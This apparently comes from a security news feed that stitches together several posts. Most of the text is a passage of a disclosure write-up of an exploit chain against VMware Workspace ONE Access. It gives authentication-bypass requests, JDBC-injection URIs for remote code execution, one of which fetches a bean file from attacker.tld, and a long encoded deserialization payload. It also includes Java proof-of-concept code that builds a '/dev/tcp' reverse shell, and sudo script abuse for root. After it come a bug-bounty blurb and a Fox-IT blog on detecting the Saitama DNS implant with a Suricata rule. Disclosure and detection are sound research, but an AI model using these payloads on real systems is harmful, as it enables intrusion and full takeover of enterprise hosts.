/*     */   public String checkConnection(@Nonnull String jdbcUrl, @Nonnull String username, @Nonnull String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*  87 */     connection = null;
/*  88 */     String driverVersion = null;
/*     */     try {
/*  92 */       meta = connection.getMetaData();
/*  93 */       driverVersion = meta.getDriverVersion();
/*  94 */     } catch (SQLException e) {
/*  95 */       log.error("connectionFailed");
/*  96 */       throw new PersistenceRuntimeException(e.getMessage(), e);
/*     */     } finally {
/*     */       try {
/*  99 */         if (connection != null) {
/* 100 */           connection.close();
/*     */         }
/* 102 */       } catch (Exception e) {
/* 103 */         log.warn("Problem closing connection", e);
/*     */       }
/*     */     }
/* 106 */     return driverVersion;
/*     */   }


The code calls DbConnectionCheckServiceImpl.testConnection at [4] with an attacker controlled jdbcUrl string.

/*     */   private Connection testConnection(String jdbcUrl, String username, String password, boolean checkCreateTableAccess) throws PersistenceRuntimeException {
/*     */     try {
/*     */
/*     */
/* 127 */       log.info("sql verification triggered");
/* 128 */       this.factoryHelper.sqlVerification(connection, username, Boolean.valueOf(checkCreateTableAccess));
/*     */
/* 130 */       if (checkCreateTableAccess) {
/* 131 */         return testCreateTableAccess(jdbcUrl, connection);
/*     */       }
/*     */
/* 134 */       return testUpdateTableAccess(connection);
/*     */     }


The code calls FactoryHelper.getConnection at [5].

/*     */     public Connection getConnection(String jdbcUrl, String username, String password) throws SQLException {
/*     */       try {
/* 428 */       } catch (Exception ex) {
/* 429 */         if (ex.getCause() != null && ex.getCause().toString().contains("javax.net.ssl.SSLHandshakeException")) {
/* 430 */           log.info(String.format("ssl handshake failed for the user:%s ", new Object[] { username }));
/* 431 */           throw new SQLException("database.connection.ssl.notSuccess");
/*     */         }
/* 433 */         log.info(String.format("Connection failed for the user:%s ", new Object[] { username }));
/* 434 */         throw new SQLException("database.connection.notSuccess");
/*     */       }
/*     */     }


Finally, at [6] the attacker can reach a DriverManager.getConnection sink which will lead to an arbitrary JDBC URI connection. Given the flexibility of JDBC, the attacker can use any of the deployed drivers within the application. This vulnerability can lead to remote code execution as the horizon user which will be discussed in the exploitation section.

## publishCaCert and gatherConfig Privilege Escalation

After gaining remote code execution as the horizon user, we can exploit the following vulnerability to gain root access. This section contains two bugs, but I decided to report it as a single vulnerability due to the way I (ab)used them in the final exploit chain.

1. The publishCaCert.hzn script allows attackers to disclose sensitive files.
2. The gatherConfig.hzn script allows attackers to take ownership of sensitive files

These scripts can be executed by the horizon user with root privileges without a password using sudo. They were not writable by the horizon user so I audited the scripts for logical issues to escalate cleanly.

1. publishCaCert.hzn:

For this bug we can see that it will take a file on the command line and copy it to /etc/ssl/certs/ at [1] and then make it readable/writable by the owner at [2]!

#!/bin/sh

#Script to isolate sudo access to just publishing a single file to the trusted certs directory

CERTFILE=$1 DESTFILE=$(basename $2) cp -f$CERTFILE /etc/ssl/certs/$DESTFILE // 1 chmod 644 /etc/ssl/certs/$DESTFILE // 2
c_rehash > /dev/null

2. gatherConfig.hzn:

For taking ownership, we can use a symlink called debugConfig.txt and point it to a root owned file at [1].

#!/bin/bash
#
. /usr/local/horizon/scripts/hzn-bin.inc
. /usr/local/horizon/scripts/manageTcCfg.inc
DEBUG_FILE=$1 #... function gatherConfig() { printLines echo "1) cat /usr/local/horizon/conf/flags/sysconfig.hostname" >${DEBUG_FILE}
#...
chown $TOMCAT_USER:$TOMCAT_GROUP $DEBUG_FILE // 1 } if [ -z "$DEBUG_FILE" ]
then
usage
else
DEBUG_FILE=${DEBUG_FILE}/"debugConfig.txt" gatherConfig fi  ## Exploitation ### OAuth2TokenResourceController ACS Authentication Bypass 1. First, we can grab the activationToken. Request: POST /SAAS/API/1.0/REST/oauth2/generateActivationToken/Service__OAuth2Client HTTP/1.1 Host: photon-machine Content-Type: application/x-www-form-urlencoded Content-Length: 0  Response: { "activationToken": "eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...", "_links": {} }  2. Now, with the activation token let’s get the client_id and client_secret. Request: POST /SAAS/API/1.0/REST/oauth2/activate HTTP/1.1 Host: photon-machine Content-Type: application/x-www-form-urlencoded Content-Length: 168 eyJvdGEiOiJiNmRlZmFkOS1iY2M3LTM3ZWUtYTdkZi05YTM2ZDcxZDU4MGE6c0dJcnlObEhxREVnUW...  Response: { "client_id": "Service__OAuth2Client", "client_secret": "uYkAzg1woC1qbCa3Qqd0i6UXpwa1q00o" }  From this point, exploitation is just the standard OAuth2 flow to grab a signed JWT. ### DBConnectionCheckController dbCheck JDBC Injection Remote Code Execution Technique 1 - Remote code execution via the MySQL JDBC Driver autoDeserialize It was also possible to perform remote code execution via the MySQL JDBC driver by using the autoDeserialize property. The server would connect back to the attacker’s malicious MySQL server where it could deliver an arbitrary serialized Java object that could be deserialized on the server. As it turns out, the off the shell ysoserial CommonsBeanutils1 gadget worked a treat: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 <cmd>. This technique was first presented by Yang Zhang, Keyi Li, Yongtao Wang and Kunzhe Chai at Blackhat Europe in 2019. This was the technique I used in the exploit I sent to VMWare because I wanted to hint at their usage of unsafe libraries that contain off the shell gadget chains in them! Technique 2 - Remote code execution via the PostgreSQL JDBC Driver socketFactory It was possible to perform remote code execution via the socketFactory property of the PostgreSQL JDBC driver. By setting the socketFactory and socketFactoryArg properties, an attacker can trigger the execution of a constructor defined in an arbitrary Java class with a controlled string argument. Since the application was using Spring with a Postgres database, it was the perfect candidate to (ab)use FileSystemXmlApplicationContext! Proof of Concept: jdbc:postgresql://si/saas?&socketFactory=org.springframework.context.support.FileSystemXmlApplicationContext&socketFactoryArg=http://attacker.tld:9090/bean.xml. But of course, we can improve on this. Inspired by RicterZ, let’s say you want to exploit the bug without internet access. You can re-use the com.vmware.licensecheck.LicenseChecker class VMWare provides us and mix deserialization with the PostgreSQL JDBC driver attack. Let’s walk from one of the LicenseChecker constructors, right to the vulnerable sink.  public LicenseChecker(final String s) { this(s, true); // 1 } public LicenseChecker(final String state, final boolean validateExpiration) { this._handle = new LicenseHandle(); if (state != null) { this._handle.setState(state); // 2 } this._validateExpiration = validateExpiration; }  At [1] the code calls another constructor in the same class with the parsed in string. At [2] the code calls setState on the LicenseHandle class:  public void setState(String var1) { if (var1 != null && var1.length() >= 1) { try { byte[] var2 = MyBase64.decode(var1); // 3 if (var2 != null && this.deserialize(var2)) { // 4 this._state = var1; this._isDirty = false; } } catch (Exception var3) { log.debug(new Object[]{"failed to decode state: " + var3.getMessage()}); } } }  At [3] the code base64 decodes the string and at [4] the code then calls deserialize:  private boolean deserialize(byte[] var1) { if (var1 == null) { return true; } else { try { ByteArrayInputStream var2 = new ByteArrayInputStream(var1); DataInputStream var3 = new DataInputStream(var2); int var4 = var3.readInt(); switch(var4) { case -889267490: return this.deserialize_v2(var3); // 5 default: log.debug(new Object[]{"bad magic: " + var4}); } } catch (Exception var5) { log.debug(new Object[]{"failed to de-serialize handle: " + var5.getMessage()}); } return false; } }  You can probably see where this is going already. At [5] the code calls deserialize_v2 if a supplied int is -889267490:  private boolean deserialize_v2(DataInputStream var1) throws IOException { byte[] var2 = Encrypt.readByteArray(var1); if (var2 == null) { log.debug(new Object[]{"failed to read cipherText"}); return false; } else { try { byte[] var3 = Encrypt.decrypt(var2, new String(keyBytes_v2)); // 6 if (var3 == null) { log.debug(new Object[]{"failed to decrypt state data"}); return false; } else { ByteArrayInputStream var4 = new ByteArrayInputStream(var3); ObjectInputStream var5 = new ObjectInputStream(var4); this._htEvalStart = (Hashtable)var5.readObject(); // 7 log.debug(new Object[]{"restored " + this._htEvalStart.size() + " entries from state info"}); return true; } } catch (Exception var6) { log.warn(new Object[]{var6.getMessage()}); return false; } } }  At [6] the code will call decrypt, and decrypt the string using a hardcoded key. Then at [7] the code will call readObject on the attacker supplied string. At this point we could supply our deserialization gadget right into the jdbc uri string, removing any outgoing connection requirement! Here is a proof of concept to execute the command touch /tmp/pwn: jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%26socketFactoryArg=yv7a3gAACwQAAAAIUhcrRObG2UIAAAAQoz1rm0A08QaIZG2jKm3PvgAACuBO%252Bkf56P3LYUtlxM%252Fd9BtAjxDOFJAiL9KmHfk1p01I544KCUNyVi2UpONDLJHejQCbZi20R8JW3zg879309FDfjSabzvJ2PxvJafQqei8egUOn32BJngdb1r0jwJ8rrxsheJQc3BXJny6pma9pHciqmjJUioTfyKousm%252Fk8YiId8nFu0IX2yQS3GkvV%252FUHCz06KusffoQatuTOL465%252BChdQG88W9FGawgr7Pc9TzZTDZoy%252Bel83sU9hFqcW0oaDgQGtvsVjovnL71fsbQ2ik4C0p8lKxgGRamJmZKl5UvrWpgbOoi5ueTPvr2RgsvyrYno%252Bg3EghzuYjfgdG5owEIPAbHY39mgsjnFR5VZlJR6xmeEkadeGYfvhv%252FU9X57N6a3jmUvCpd50a96GQawp%252BmnfNx5hvp7z%252BjKuSecJ9ruTClM7P9XnU0hspHYgPIXk085Vhdh0P%252BECl%252F7pAAq0rZVEittj43DZhRDbvjqnEbd%252FvueXUK3e0Ld7PZ5oZa055dPxI7uw9FPYMEGnq6WLjFAyZT13QrnITd7uESJE82ZCgDLT7V81UHv3E9DPFPsryRITA9wAu4EycM4aGlh%252FcJzmxKCG%252Fcrt9FvzeQd4SGxhOK7i2I%252B4OUy8mjKgDh4dajVM8cVEogVqnyPWCP7ZYJsPrUlx2F6lhGo53%252BuBQzMzu2IerBZRVeE43CsxfBW1073y8FRYxX8A8w%252BaGikZUcanJ6T%252FfW0z7ENfTTXJYzt%252BNaEsZo5Q2FTeOgzg9%252BLE9d64w7P4SZ5HjIl4xnji2KjUZ2%252FGzzRhSxbsy3EyHvWJurBaNx1mOuYReexqHe7Va1mKjJHizU88T9kn6IVc8yCO9npFl%252Bh4uLAiruwHCC0YZK4O%252F%252BmfOb%252Fb3WescghMkp2s%252FxMe4bfjeomQWqzobztKry32vWM%252BovpDJHbOlTANviW50AzaXCVjGF10Ch86XAsHyiEpb44CzaMSWXV%252BfnQFw%252FRgY9uhv%252FUoUtxZs%252FmOpzSxgywFUNGaC1%252FoMXWmqJ5pne2fO2tH3EYyLhBIbK4GpTY5vzC8yRqYAyVW6LgkK%252FLZerScwc49NjWLZXMYOr9bsH2Ed2TEoy5sYUnMPmN19%252FZQqYWO2N1UaCV1D7F9V3z6fKRuhq0EyNj5RvXg%252BdUz%252FBuUzoju7Rbky1dYg3mQr4AbX94bi%252FLK5mdWlPcavJJlmBJGpxClGQmE%252BxpW2WVrQtAOGJrlcC0oTJSbe8ynPWoXbhqW3uXsNU2r5a2axQgNJfQDGomgtViDeqARbMrAoicMHIUH%252B1GDv9tLwaKMcBJC48ENoUrUfaFn68S9pFesqvjzvMB0Q%252BLmiXF9pfO02fVG5FWuMwouEYANrbnbL7MiPqoGPTwS6547LJh%252BScQ4dYc1Ga%252Bqfxh0NCXSfeetVdY7w7rilctRpe%252Fgchj6Q7SAK2%252BcX%252B0qlozTXdBhYvCOgWoXf5OYelsPJp%252BYPylKJyKC4v1fPskeZic8SA5EPKBQGmcwP09BmwD6J7t9GFMyvnxgl1Zlr5EggDqT7QXW0RhH4e%252FM7Jjhp4D%252F%252F1y8nfEfM23MqrRSZ%252B33P5xMXrbA7SgUbaC8fFlma85xpcaS1VBvs4%252FvUNs5Wsl9D2hAsiiBFu3vQiGXJVsB7KmV8Vuh2shiD8Akq5R2%252F3oSb1t%252BLm0ZcIP4MYLtvGkyfBXj81C3KKKNta4tZTpZW7MfeiXo%252FMoorn06fxlh7elFoPYLZ5eA7DB0jwBtUJ1Ay4xNgL24DnQlIwWkTrZJvdIzs0zTvFv3yYvgq4CaNwDDBbGdYufSRULnI8BAJgedXQqVkV9a3W4nK%252FYCMyczUZ%252FI2Nsslf4zqb3s1RJltGAPsHoR7YjKC1iZG1b%252BYGSN%252FyCW6RZJGxESArr3a1pcNndQUIzabKjIotYOFtMdrAdF9xXKNcMYN8qdFhAJ6PUkS%252FRuu%252F7YxM9xzpN9%252Br4JuuwnO8P6n4l9mib8J6ElX1GXw5Tc7MpdVcW%252BUqkKRLICuh1H5f53E8MO4ESJ2Ku56xvNZyJ0Ai2LDzumgORDeVJa4BLrUgeRkTZqOkYdRWHXrFTTP9HFgXobAQqj75nRkpFEQMEzbKSjdQAU%252B%252Bq2730wMh5LuVRui7HUPnvUCZDpkgDr9GDMGJitt%252FU6RtHqQmYB%252B%252FpFLr7m3g1tazYHvEyrQjBKdhv2FfijNtYaskJqkqPx3uRMSy%252F5l6wmQQlwbOTGXlAdUtVfKpO537dXFOofuN%252BuzIAQdXaLRddhE7fFhhrMwQXuj1jCDi70d%252FWBsy6lHxephuN5ANcl3IuGhx4MV0XRbZpt4MpGqJ2eZM18UCyk%252Fg4a%252Bgp0eRQWgA3KPJ9pZJiGk8EBFBeqsu2Y%252BIcVjGLKzghcdPpsBt3ef1TKUO0DZbS2RLMvA1dtq1vxGYuAIMHJ%252BxREAwSywn7ON9RqrF56hS91rlYJfBjPC%252FSurUVD98wa9WjqygmVsiI78QzExmrAmstUz5WsvLFl%252BoYKR%252FRLKYtjihNvFaSPYkbRNJ1GzKL0ZOXMyDJ3KcPeSkJa13vbJqmBO1JAuG8sfuRXjmaYNWdXI%252Bb%252Bkhs4V5o9IYnehTZgj4LHS7idmBjbWskldTDZHxofnnGKZenTPzbfsCzDKaGg5evEO6qpk%252FegKKK6ORyfxulQB0%252B5wzl0Z1TW3eLuRzi8jeo%252Fx3OOqgbLIqnfWFFfhezTnSYYBJdVEC4hwRksjZ9AReieEKYeZyqb1Hybg4w3q1H2I16iH4ku5R%252FCJnZBHcgPRZniF1Bohq79vgyJs9MAsfTwc%252F%252BAXUBbV8DnfdxoWwzLms6cqP2Bcuu86qORtOE4K5fNMEvYAy30%252FE70zdZoNMS%252BOsb0Lbl1cuxVpuwza0herBOLDBNlPMbi90pQ7Mt6OA7VwCiUW3TsdivLEPYKBQ3q5a5R0DEScmh5Y9BGYxgwXKfACbTjXHkrCcGLwSxTvEFJ4sjTxa%252By3rgVjWTXaRy91GRfcoNouIBmY%252FDj1ilIYPRBTP23a9IdO4M%252F4R%252FLlX454wJksnuTu6sTID7G1ELvBHCyFxjMAl0meovxnI1uZ6PuWDaC5ax4WIeG2PodvqHKdRLbU0OzmD8XyjdxY4c%252F%252FJQRl85xQ8LdlgWMrTTIlWy6jf0Z2ERwc5Oi7DK5WMZD9p2b3lARlNgo0LORSenjefQkIjAqEXXLpRYTAeJXmHJiK3iCnrNO2R8QmdujTPQthLQaAnoDuHf7Mt1iWnUTuwYv9e64ndK7lZ3%252FBjb4MYssgc9PavSz9tAP00jZXZbq%252BM2zl2AukG0IMtunNv86dO%252BlekCjSgv%252BGH7KxNa5Yb1dlvR62c2vhE8U%252Bq%252BEU7CR4Z8lfJoAYrHMcWqlerIdc44GskzJVKb4LbpLqCMQFx3Gh%252Fq%252FwuwguPLDiQCNnyta5d9QO3aoY4BkzimWshsgyJzesREag3YehFjvfUSl%252B2Ytn5J2aHZmx3tOPrh1fa6480lb%252BWC%252Bex40M4RjPXOQKxB07UWUvumml%252BYwA8jqCcwhz0n2gHUsFHq4UovgBlETV9r7uOTX6hDHO5ztgca6c1KUINt1LA2EzFd6Hedjzx5%252FjVJb8SyviMQl4SyCeyPRS8FMGkPda8oGAiPGyc99tcQg6XItDYG0XIw%252BN59tQ8Pvfx9EBM1TOcP7NGWb7LdZixcDnLDBw77kVwxJEvcGZ2sTqIG7VdZvNsGupRwLqqeLkEpQM4%253D  Note that your payload will need to double encode special characters. To generate the state string, I re-used VMWare’s classes: import com.vmware.licensecheck.LicenseChecker; import com.vmware.licensecheck.LicenseHandle; import com.vmware.licensecheck.MyBase64; import ysoserial.payloads.ObjectPayload.Utils; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Hashtable; import java.io.*; public class Poc { public static void main(String[] args) throws Exception { String shell = MyBase64.encode("bash -c \"bash -i >& /dev/tcp/10.0.0.1/1234 0>&1\"".getBytes()); Object payload = Utils.makePayloadObject("CommonsBeanutils1", String.format("sh -c [email protected]|sh . echo echo %s|base64 -d|bash", shell)); LicenseChecker lc = new LicenseChecker(null); Field handleField = LicenseChecker.class.getDeclaredField("_handle"); handleField.setAccessible(true); LicenseHandle lh = (LicenseHandle)handleField.get(lc); Field htEvalStartField = LicenseHandle.class.getDeclaredField("_htEvalStart"); htEvalStartField.setAccessible(true); Field isDirtyField = LicenseHandle.class.getDeclaredField("_isDirty"); isDirtyField.setAccessible(true); Hashtable<Integer, Object> ht = new Hashtable<Integer, Object>(); ht.put(1337, payload); htEvalStartField.set(lh, ht); isDirtyField.set(lh, true); handleField.set(lc, lh); String payload = URLEncoder.encode(URLEncoder.encode(lc.getState(), "UTF-8"), "UTF-8"); System.out.println(String.format("(+) jdbc:postgresql://si/saas?socketFactory=com.vmware.licensecheck.LicenseChecker%%26socketFactoryArg=%s", payload)); } }  I have included the licensecheck-1.1.5.jar library in the exploit directory so that the exploit can be re-built and replicated. It should be noted that the first connection to a PostgreSQL database doesn’t need to be established for the attack to succeed so an invalid host/port is perfectly fine. Details about this attack and others similar to it can be found in the excellent blog post by Xu Yuanzhen. The final point I will make about this is that the LicenseChecker class could have also been used to exploit CVE-2021-21985 since the licensecheck-1.1.5.jar library was loaded into the target vCenter process coupled with publicly available gadget chains. ### publishCaCert and gatherConfig Privilege Escalation This exploit was straight forward and involved overwriting the permissions of the certproxyService.sh script so that it can be modified by the horizon user. ## Proof of Concept I built three exploits called Hekate (that’s pronounced as heh-ka-teh). The first exploit leverages the MySQL JDBC driver and the second exploit leverages the PostgreSQL JDBC driver. Both exploits target the server and client sides, requiring an outbound connection to the attacker. The third exploit leverages the PostgreSQL JDBC driver again, this time re-using the com.vmware.licensecheck.* classes and avoids any outbound network connections to the attacker. This is the exploit that was demonstrated at Black Hat USA 2022. All three exploits can be downloaded here: https://github.com/sourceincite/hekate/. Server-side Client-side All the vulnerabilities used in Hekate also impacted the cloud version of the VMWare Workspace ONE Access in its default configuration. ## Exposure Using a quick favicon hash search, Shodan reveals ~700 active hosts were vulnerable at the time of discovery. Although the exposure is limited, the systems impacted are highly critical. An attacker will be able to gain access to third party systems, grant assertions and breach the perimeter of an enterprise network all of which can’t be done with your run-of-the-mill exposed IoT device. ## Conclusion The limitations of CVE-2020-4006 was that it required authentication and it was targeting port 8443. In comparison, this attack chain targets port 443 which is much more likely exposed externally. Additionally, no authentication was required all whilst achieving root access making it quite disastrous and results in the complete compromise of the affected appliance. Finally, it can be exploited in a variety of ways such as client-side or server-side without the requirement of a deserialization gadget. ## References # Microsoft Bug Bounty Programs Year in Review:$13.7M in Rewards

11 August 2022 at 16:00
The Microsoft Bug Bounty Programs and partnerships with the global security research community are important parts of Microsoft’s holistic approach to defending customers against security threats. Our bounty programs incentivize security research in high-impact areas to stay ahead of the ever-changing security landscapes, emerging technology, and new threats. Security Researchers help us secure millions of …

# Detecting DNS implants: Old kitten, new tricks – A Saitama Case Study

11 August 2022 at 16:05

Max Groot & Ruud van Luijk

TL;DR

A recently uncovered malware sample dubbed ‘Saitama’ was uncovered by security firm Malwarebytes in a weaponized document, possibly targeted towards the Jordan government. This Saitama implant uses DNS as its sole Command and Control channel and utilizes long sleep times and (sub)domain randomization to evade detection. As no server-side implementation was available for this implant, our detection engineers had very little to go on to verify whether their detection would trigger on such a communication channel. This blog documents the development of a Saitama server-side implementation, as well as several approaches taken by Fox-IT / NCC Group’s Research and Intelligence Fusion Team (RIFT) to be able to detect DNS-tunnelling implants such as Saitama. The developed implementation as well as recordings of the implant are shared on the Fox-IT GitHub.

Introduction

For its Managed Detection and Response (MDR) offering, Fox-IT is continuously building and testing detection coverage for the latest threats. Such detection efforts vary across all tactics, techniques, and procedures (TTP’s) of adversaries, an important one being Command and Control (C2). Detection of Command and Control involves catching attackers based on the communication between the implants on victim machines and the adversary infrastructure.

In May 2022, security firm Malwarebytes published a two1-part2 blog about a malware sample that utilizes DNS as its sole channel for C2 communication. This sample, dubbed ‘Saitama’, sets up a C2 channel that tries to be stealthy using randomization and long sleep times. These features make the traffic difficult to detect even though the implant does not use DNS-over-HTTPS (DoH) to encrypt its DNS queries.

Although DNS tunnelling remains a relatively rare technique for C2 communication, it should not be ignored completely. While focusing on Indicators of Compromise (IOC’s) can be useful for retroactive hunting, robust detection in real-time is preferable. To assess and tune existing coverage, a more detailed understanding of the inner workings of the implant is required. This blog will use the Saitama implant to illustrate how malicious DNS tunnels can be set-up in a variety of ways, and how this variety affects the detection engineering process.

To assist defensive researchers, this blogpost comes with the publication of a server-side implementation of Saitama on the Fox-IT GitHub. This can be used to control the implant in a lab environment. Moreover, ‘on the wire’ recordings of the implant that were generated using said implementation are also shared as PCAP and Zeek logs. This blog also details multiple approaches towards detecting the implant’s traffic, using a Suricata signature and behavioural detection.

Reconstructing the Saitama traffic

The behaviour of the Saitama implant from the perspective of the victim machine has already been documented elsewhere3. However, to generate a full recording of the implant’s behaviour, a C2 server is necessary that properly controls and instructs the implant. Of course, the source code of the C2 server used by the actual developer of the implant is not available.

If you aim to detect the malware in real-time, detection efforts should focus on the way traffic is generated by the implant, rather than the specific domains that the traffic is sent to. We strongly believe in the “PCAP or it didn’t happen” philosophy. Thus, instead of relying on assumptions while building detection, we built the server-side component of Saitama to be able to generate a PCAP.

The server-side implementation of Saitama can be found on the Fox-IT GitHub page. Be aware that this implementation is a Proof-of-Concept. We do not intend on fully weaponizing the implant “for the greater good”, and have thus provided resources to the point where we believe detection engineers and blue teamers have everything they need to assess their defences against the techniques used by Saitama.

Let’s do the twist

The usage of DNS as the channel for C2 communication has a few upsides and quite some major downsides from an attacker’s perspective. While it is true that in many environments DNS is relatively unrestricted, the protocol itself is not designed to transfer large volumes of data. Moreover, the caching of DNS queries forces the implant to make sure that every DNS query sent is unique, to guarantee the DNS query reaches the C2 server.

For this, the Saitama implant relies on continuously shuffling the character set used to construct DNS queries. While this shuffle makes it near-impossible for two consecutive DNS queries to be the same, it does require the server and client to be perfectly in sync for them to both shuffle their character sets in the same way.

On startup, the Saitama implant generates a random number between 0 and 46655 and assigns this to a counter variable. Using a shared secret key (“haruto” for the variant discussed here) and a shared initial character set (“razupgnv2w01eos4t38h7yqidxmkljc6b9f5”), the client encodes this counter and sends it over DNS to the C2 server. This counter is then used as the seed for a Pseudo-Random Number Generator (PRNG). Saitama uses the Mersenne Twister to generate a pseudo-random number upon every ‘twist’.

To encode this counter, the implant relies on a function named ‘_IntToString’. This function receives an integer and a ‘base string’, which for the first DNS query is the same initial, shared character set as identified in the previous paragraph. Until the input number is equal or lower than zero, the function uses the input number to choose a character from the base string and prepends that to the variable ‘str’ which will be returned as the function output. At the end of each loop iteration, the input number is divided by the length of the baseString parameter, thus bringing the value down.

To determine the initial seed, the server has to ‘invert’ this function to convert the encoded string back into its original number. However, information gets lost during the client-side conversion because this conversion rounds down without any decimals. The server tries to invert this conversion by using simple multiplication. Therefore, the server might calculate a number that does not equal the seed sent by the client and thus must verify whether the inversion function calculated the correct seed. If this is not the case, the server literately tries higher numbers until the correct seed is found.

Once this hurdle is taken, the rest of the server-side implementation is trivial. The client appends its current counter value to every DNS query sent to the server. This counter is used as the seed for the PRNG. This PRNG is used to shuffle the initial character set into a new one, which is then used to encode the data that the client sends to the server. Thus, when both server and client use the same seed (the counter variable) to generate random numbers for the shuffling of the character set, they both arrive at the exact same character set. This allows the server and implant to communicate in the same ‘language’. The server then simply substitutes the characters from the shuffled alphabet back into the ‘base’ alphabet to derive what data was sent by the client.

Twist, Sleep, Send, Repeat

Many C2 frameworks allow attackers to manually set the minimum and maximum sleep times for their implants. While low sleep times allow attackers to more quickly execute commands and receive outputs, higher sleep times generate less noise in the victim network. Detection often relies on thresholds, where suspicious behaviour will only trigger an alert when it happens multiple times in a certain period.

The Saitama implant uses hardcoded sleep values. During active communication (such as when it returns command output back to the server), the minimum sleep time is 40 seconds while the maximum sleep time is 80 seconds. On every DNS query sent, the client will pick a random value between 40 and 80 seconds. Moreover, the DNS query is not sent to the same domain every time but is distributed across three domains. On every request, one of these domains is randomly chosen. The implant has no functionality to alter these sleep times at runtime, nor does it possess an option to ‘skip’ the sleeping step altogether.

These sleep times and distribution of communication hinder detection efforts, as they allow the implant to further ‘blend in’ with legitimate network traffic. While the traffic itself appears anything but benign to the trained eye, the sleep times and distribution bury the ‘needle’ that is this implant’s traffic very deep in the haystack of the overall network traffic.

For attackers, choosing values for the sleep time is a balancing act between keeping the implant stealthy while keeping it usable. Considering Saitama’s sleep times and keeping in mind that every individual DNS query only transmits 15 bytes of output data, the usability of the implant is quite low. Although the implant can compress its output using zlib deflation, communication between server and client still takes a lot of time. For example, the standard output of the ‘whoami /priv’ command, which once zlib deflated is 663 bytes, takes more than an hour to transmit from victim machine to a C2 server.

Transmission between server implementation and the implant

The implant does contain a set of hardcoded commands that can be triggered using only one command code, rather than sending the command in its entirety from the server to the client. However, there is no way of knowing whether these hardcoded commands are even used by attackers or are left in the implant as a means of misdirection to hinder attribution. Moreover, the output from these hardcoded commands still has to be sent back to the C2 server, with the same delays as any other sent command.

Detection

Detecting DNS tunnelling has been the subject of research for a long time, as this technique can be implemented in a multitude of different ways. In addition, the complications of the communication channel force attackers to make more noise, as they must send a lot of data over a channel that is not designed for that purpose. While ‘idle’ implants can be hard to detect due to little communication occurring over the wire, any DNS implant will have to make more noise once it starts receiving commands and sending command outputs. These communication ‘bursts’ is where DNS tunnelling can most reliably be detected. In this section we give examples of how to detect Saitama and a few well-known tools used by actual adversaries.

Signature-based

Where possible we aim to write signature-based detection, as this provides a solid base and quick tool attribution. The randomization used by the Saitama implant as outlined previously makes signature-based detection challenging in this case, but not impossible. When actively communicating command output, the Saitama implant generates a high number of randomized DNS queries. This randomization does follow a specific pattern that we believe can be generalized in the following Suricata rule:

alert dns $HOME_NET any -> any 53 (msg:"FOX-SRT - Trojan - Possible Saitama Exfil Pattern Observed"; flow:stateless; content:"|00 01 00 00 00 00 00 00|"; byte_test:1,>=,0x1c,0,relative; fast_pattern; byte_test:1,<=,0x1f,0,relative; dns_query; content:"."; content:"."; distance:1; content:!"."; distance:1; pcre:"/^(?=[0-9]+[a-z]\|[a-z]+[0-9])[a-z0-9]{28,31}\.[^.]+\.[a-z]+$/"; threshold:type both, track by_src, count 50, seconds 3600; classtype:trojan-activity; priority:2; reference:url, https://github.com/fox-it/saitama-server; metadata:ids suricata; sid:21004170; rev:1;)

This signature may seem a bit complex, but if we dissect this into separate parts it is intuitive given the previous parts.

The choice for 28-31 characters is based on the structure of DNS queries containing output. First, one byte is dedicated to the ‘send and receive’ command code. Then follows the encoded ID of the implant, which can take between 1 and 3 bytes. Then, 2 bytes are dedicated to the byte index of the output data. Followed by 20 bytes of base-32 encoded output. Lastly the current value for the ‘counter’ variable will be sent. As this number can range between 0 and 46656, this takes between 1 and 5 bytes.

Behaviour-based

The randomization that makes it difficult to create signatures is also to the defender’s advantage: most benign DNS queries are far from random. As seen in the table below, each hack tool outlined has at least one subdomain that has an encrypted or encoded part. While initially one might opt for measuring entropy to approximate randomness, said technique is less reliable when the input string is short. The usage of N-grams, an approach we have previously written about4, is better suited.

Unfortunately, the detection of randomness in DNS queries is by itself not a solid enough indicator to detect DNS tunnels without yielding large numbers of false positives. However, a second limitation of DNS tunnelling is that a DNS query can only carry a limited number of bytes. To be an effective C2 channel an attacker needs to be able to send multiple commands and receive corresponding output, resulting in (slow) bursts of multiple queries.

This is where the second step for behaviour-based detection comes in: plainly counting the number of unique queries that have been classified as ‘randomized’. The specifics of these bursts differ slightly between tools, but in general, there is no or little idle time between two queries. Saitama is an exception in this case. It uses a uniformly distributed sleep between 40 and 80 seconds between two queries, meaning that on average there is a one-minute delay. This expected sleep of 60 seconds is an intuitive start to determine the threshold. If we aggregate over an hour, we expect 60 queries distributed over 3 domains. However, this is the mean value and in 50% of the cases there are less than 60 queries in an hour.

To be sure we detect this, regardless of random sleeps, we can use the fact that the sum of uniform random observations approximates a normal distribution. With this distribution we can calculate the number of queries that result in an acceptable probability. Looking at the distribution, that would be 53. We use 50 in our signature and other rules to incorporate possible packet loss and other unexpected factors. Note that this number varies between tools and is therefore not a set-in-stone threshold. Different thresholds for different tools may be used to balance False Positives and False Negatives.

In summary, combining detection for random-appearing DNS queries with a minimum threshold of random-like DNS queries per hour, can be a useful approach for the detection of DNS tunnelling. We found in our testing that there can still be some false positives, for example caused by antivirus solutions. Therefore, a last step is creating a small allow list for domains that have been verified to be benign.

While more sophisticated detection methods may be available, we believe this method is still powerful (at least powerful enough to catch this malware) and more importantly, easy to use on different platforms such as Network Sensors or SIEMs and on diverse types of logs.

Conclusion

When new malware arises, it is paramount to verify existing detection efforts to ensure they properly trigger on the newly encountered threat. While Indicators of Compromise can be used to retroactively hunt for possible infections, we prefer the detection of threats in (near-)real-time. This blog has outlined how we developed a server-side implementation of the implant to create a proper recording of the implant’s behaviour. This can subsequently be used for detection engineering purposes.

Strong randomization, such as observed in the Saitama implant, significantly hinders signature-based detection. We detect the threat by detecting its evasive method, in this case randomization. Legitimate DNS traffic rarely consists of random-appearing subdomains, and to see this occurring in large bursts to previously unseen domains is even more unlikely to be benign.

Resources

With the sharing of the server-side implementation and recordings of Saitama traffic, we hope that others can test their defensive solutions.

The server-side implementation of Saitama can be found on the Fox-IT GitHub.

This repository also contains an example PCAP & Zeek logs of traffic generated by the Saitama implant. The repository also features a replay script that can be used to parse executed commands & command output out of a PCAP.

References

# Threat Source newsletter (Aug. 11, 2022) — All of the things-as-a-service

11 August 2022 at 18:00

By Jon Munshaw.

